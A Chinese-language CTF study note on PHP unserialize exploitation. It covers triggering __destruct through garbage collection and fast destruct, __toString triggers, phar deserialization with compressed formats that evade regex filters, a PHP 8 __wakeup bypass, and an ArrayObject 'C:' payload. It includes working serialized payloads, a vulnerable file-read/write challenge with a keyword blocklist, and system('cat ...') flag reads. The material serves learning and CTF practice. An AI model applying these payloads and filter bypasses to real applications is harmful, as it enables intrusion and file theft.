php反序列化

__destruct 的触发

1
2
3
4
5
6
7
8
9
10
11
1、 设置对象 为 NULL
2、生命周期结束时

3、 unset
和GC (垃圾回收机制)有关,没有任何变量指向它了。
a:2:{i:0;O:4:"test":0:{};i:0;N}
//先将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用
相当于:
O:1:"A":{s:6:"config";s:1:"w";}

由于unserialize($_GET[0]);没有被引用,相当于unset,那么就可以绕过异常执行__destruct

例题:unset

unserialize($_GET[0]); 这边a:2:{i:0;O:4:"test":0:{};i:0;N}O:1:"A":{s:6:"config";s:1:"w";}都能用,因为这边unserialize 后并没有赋给任何变量,也就相当于时unset了

如果我们直接在phar文件的Metadata写getflag对象的话,是不能进行反序列化的,因为它反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct 这里,我们就需要利用GC(Collecting Cycles)来进行执行__destruct

1
a:2:{i:0;O:7:"getflag":{}i:0;N;}

考虑反序列化本字符串,我们可以发现,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为getflag对象,同时我们又将Array[0]设置为null,这样前面的getflag对象便丢失了引用,就会被GC所捕获,便可以执行__destruct了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}

class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

1
解释:http://xilzy666.gitee.io/xilzy/2022/03/05/nss-prize1-2/

__toString 的触发

一切需要 return 字符串的地方都可以 触发。

利用 echo 触发

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Ilovetxw{
public $huang;
public $su;

public function __toString(){
echo 3;
return 'go';
}
}

echo new Ilovetxw();

利用弱比较触发__toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Ilovetxw{
public $huang;
public $su;

public function __toString(){
echo 3;
return 'go';
}
}

$b=new Ilovetxw();
if($b == 'sdsd'){
echo 4;
}

preg_match触发__toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Road_is_Long{
public $page;
public $string;
public function __toString(){
echo 3;
return '3';
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

$a = new Road_is_Long();
$b = new Road_is_Long();
$b->page = $a;
@unserialize(serialize($b));

phar 触发

可以触发phar 反序列化的函数。
在这里插入图片描述
正则表达式过滤了伪协议,若直接phar反序列化,那么反序列化对象中依旧会有明文。

1
https://guokeya.github.io/post/uxwHLckwx

在该文章中提到,有五种能触发phar的操作,我们通过将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文从而绕过正则表达式

1
2
3
4
5
普通phar
gzip
bzip2
tar
zip

php 8 的 wakeup 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class test1{
public $t1;

public function __construct($obj){
echo 1;
$this->t1 = &$obj->t2;
echo 6;

}

public function __wakeup(){
echo 3;
$this->t1=NULL;
}
}

class test2{
public $elem;
public $t2;
public $obj;

public function __construct(){
echo 2;
$this->elem = "feng";
$this->obj = new test1($this);
echo 5;
}

public function __wakeup(){
echo 4;
$this->t2 = $this->elem;

}
}

$t = new test2();
$s = serialize($t);
//echo $s;
$t2 = unserialize($s);
echo $t2->obj->t1;

//output:216534feng

我们想绕过test1的__wakeup置空,可以将被置空的属性t1和test2类中的属性t2通过引用“绑定”起来。现在操作t2就相当于操作t1。然后我们将test1对象作为test2的一个属性,当test2被反序列化时,PHP会优先解析类属性,因此test1作为test2的一个属性会被先反序列化成一个类。等test2的所有属性都被解析完之后才会被反序列化成一个类。

因此test2的__wakeup在test1的__wakeup之后被调用,在属性t1被置空之后,再通过test2的__wakeup进行赋值,这样就绕过了test1的__wakeup置空限制。

反序列化闭包可以正常回调

1
2
3
4
5
6
$func = function (){
system("cat /F1ag_14_h3re");
};
$b=\Opis\Closure\serialize($func);
$c=unserialize($b);
call_user_func_array($c, $arguments);

opis\closure 依赖反序列化

DASCTF2022.07赋能赛:Newser

1
https://blog.csdn.net/shinygod/article/details/126959608

Fast Destruct

1
https://www.jb51.net/article/242682.htm

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class B {
public function __call($f,$p) {
echo "B::__call($f,$p)\n";
}
public function __destruct() {
echo "B::__destruct\n";
}
public function __wakeup() {
echo "B::__wakeup\n";
}
}

class A {
public function __destruct() {
echo "A::__destruct\n";
$this->b->c();
}
}

unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}');

在这里插入图片描述

1
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

文献:

1
2
https://www.anquanke.com/post/id/251366

PHP反序列化小技巧之Fast Destruct

过滤:preg_match("/^[Oa]:[\d]+/i", $data)

1
2
3
4
5
6
7
8
9
<?php
class ctfshow{
public $ctfshow='cat /f1agaaa';
}

$a = array(1=>new ctfshow());
$b = new ArrayObject($a);
echo serialize($b);
?>

用 php 5.x 的运行才会是 C 开头,不然就是普通的 O 开头了

1
C:11:"ArrayObject":77:{x:i:0;a:1:{i:1;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}};m:a:0:{}}